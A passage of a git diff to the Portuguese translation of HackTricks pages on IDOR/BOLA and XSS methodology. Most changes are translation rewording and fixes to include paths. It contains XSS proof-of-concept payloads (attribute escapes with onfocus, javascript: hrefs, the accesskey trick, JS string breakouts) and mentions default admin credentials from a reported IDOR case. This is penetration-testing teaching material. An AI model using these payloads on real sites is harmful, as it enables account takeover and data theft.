ou modificar dados de outros usuários e, no pior dos casos, a tomada total de conta ou exfiltração em massa de dados. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou de API divulga ou aceita um identificador controlado pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar se o chamador está autorizado** a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite a escalada de privilégios horizontal ou vertical, como ler ou modificar dados de outros usuários e, no pior dos casos, a tomada total de conta ou exfiltração em massa de dados. --- ## 1. Identificando Potenciais IDORs @@ -65,7 +65,7 @@ Combined with **credenciais de administrador padrão** (`123456:123456`) que con ## 4. Mitigações & Melhores Práticas 1. **Impor autorização em nível de objeto** em cada solicitação (`user_id == session.user`). 2. Preferir **identificadores indiretos e imprevisíveis** (UUIDv4, ULID) em vez de IDs auto-incrementais. -3. Realizar autorização **no lado do servidor**, nunca confiar em campos de formulário ocultos ou controles de UI. +3. Realizar autorização **do lado do servidor**, nunca confiar em campos de formulário ocultos ou controles de UI. 4. Implementar verificações de **RBAC / ABAC** em um middleware central. 5. Adicionar **limitação de taxa e registro** para detectar enumeração de IDs. 6. Testar a segurança de cada novo endpoint (unitário, integração e DAST). @@ -76,10 +76,8 @@ Combined with **credenciais de administrador padrão** (`123456:123456`) que con * **OWASP ZAP**: Auth Matrix, Forced Browse. * **Projetos do Github**: `bwapp-idor-scanner`, `Blindy` (caça IDOR em massa). -{{#include ../banners/hacktricks-training.md}} - ## Referências -* [Plataforma de Chatbot McHire: Credenciais Padrão e IDOR Expondo PII de 64M de Candidatos](https://ian.sh/mcdonalds) -* [OWASP Top 10 – Controle de Acesso Quebrado](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) -* [Como Encontrar Mais IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) -{{#include /banners/hacktricks-training.md}} +* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) +* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) +* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 5d77dce6f..9a99092c4 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -1,6 +1,6 @@ # XSS (Cross Site Scripting) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Metodologia @@ -13,7 +13,7 @@ 2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`? 3. Você pode contornar proteções? 4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md). -5. Se você não puder criar tags HTML que executem código JS, poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)? +5. Se você não pode criar tags HTML que executem código JS, poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)? 2. Dentro de uma **tag HTML**: 1. Você pode sair para o contexto HTML bruto? 2. Você pode criar novos eventos/atributos para executar código JS? @@ -24,7 +24,7 @@ 2. Você pode escapar da string e executar código JS diferente? 3. Sua entrada está em literais de template \`\`? 4. Você pode contornar proteções? -4. Função **JavaScript** sendo **executada** +4. Função Javascript **sendo executada** 1. Você pode indicar o nome da função a ser executada. ex.: `?callback=alert(1)` 4. Se **usado**: 1. Você poderia explorar um **DOM XSS**, preste atenção em como sua entrada é controlada e se sua **entrada controlada é usada por algum sink.** @@ -58,8 +58,8 @@ Se sua entrada está refletida dentro do valor do atributo de uma tag, você pod 1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `">` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que executa código JS: `" autofocus onfocus=alert(1) x="` -3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`** -4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`** +3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`** +4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="** Exemplo estranho de Angular executando XSS se você controla um nome de classe: ```html @@ -71,7 +71,7 @@ Exemplo estranho de Angular executando XSS se você controla um nome de classe: Neste caso, sua entrada é refletida entre as tags **``** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**: -- Se refletido entre as tags **``**, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não notará que sua tag `` injetada está dentro do código HTML. +- Se refletido entre as tags **``**, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não notará que sua tag injetada `` está dentro do código HTML. - Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisaria **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado): - `'-alert(1)-'` - `';-alert(1)//` @@ -151,8 +151,8 @@ server-side-xss-dynamic-pdf.md ## Injetando dentro do HTML bruto -Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **codificado em HTML** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\ -Para esses casos, também **lembre-se** de [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **HTML codificado** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\ +Para esses casos, também **lembre-se** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Nota: Um comentário HTML pode ser fechado usando\*\***\***\*`-->`\*\***\***\*ou \*\***`--!>`\*\*_ Nesse caso e se nenhuma lista negra/branca for usada, você poderia usar payloads como: @@ -228,7 +228,7 @@ onerror=alert`1` //Use more than one <